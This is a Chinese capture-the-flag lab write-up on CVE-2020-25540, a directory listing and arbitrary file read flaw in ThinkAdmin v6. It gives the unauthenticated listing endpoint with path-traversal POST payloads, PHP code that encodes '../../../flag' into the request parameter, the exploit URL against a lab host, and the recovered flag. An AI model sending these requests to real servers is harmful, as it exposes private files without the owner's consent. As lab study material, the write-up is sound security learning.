春秋云镜 CVE-2020-25540

春秋云镜 CVE-2020-25540 Thinkadmin v6任意文件读取漏洞

靶标介绍

ThinkAdmin 6版本存在路径查找漏洞,可利用该漏洞通过GET请求编码参数任意读取远程服务器上的文件。

启动场景

漏洞利用

1、未授权列目录poc

读取网站根目录Payload: http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/node

POST:

rules="/"

rules=".../.../.../" (目录穿越)

2、任意文件读取

使用加密函数对文件名进行加密

php 复制代码
<?php
function encode($content)
{
    [$chars, $length] = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];
    for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
    return $chars;
}
$content="../../../flag";
echo encode($content);
?>

加密后的文件名为1a1a1b1a1a1b1a1a1b2u302p2v

请求http://eci-2ze3dysieeo26l90ip96.cloudeci1.ichunqiu.com/admin.html?s=admin/api.Update/get/encode/1a1a1b1a1a1b1a1a1b2u302p2v

base64解密得到文件内容

得到flag

flag{cef71ab7-c930-408d-8074-52350766063b}

相关推荐
CET中电技术42 分钟前
从“四可”目标到安全组网:CET中电技术全场景通信方案赋能电力系统灵活转型
安全
liana87442 小时前
把核心数据锁进“信息孤岛”:专网独立部署如何实现安全与效率兼得
安全·数据安全·即时通讯·专网独立部署·信息孤岛·物理隔离
网安小白的进阶之路4 小时前
B模块 安全通信网络 第二门课IPv6与WLAN 01
网络·安全
志栋智能6 小时前
安全超自动化:应对海量安全警报的唯一解
网络·安全·自动化
上海云盾-小余7 小时前
网站上线前安全自查:漏洞巡检与基线加固实操教程
安全
BlockWay8 小时前
WEEX Labs 周度观察:微软-OpenAI 合作调整与AI 多云趋势
大数据·人工智能·算法·安全·microsoft
听你说328 小时前
悍途户外旋转扣系列全面上新 科技便捷赋能专业户外
科技·安全
Fortinet_CHINA9 小时前
Fortinet助力“爱达·花城号”构建船岸一体化网络安全与运营体系
安全·web安全
上海云盾第一敬业销售9 小时前
DDoS防护服务:价格与性能的权衡与实战经验
web安全·ddos
安协技术部门10 小时前
什么是安全光栅的EDM功能
安全·制造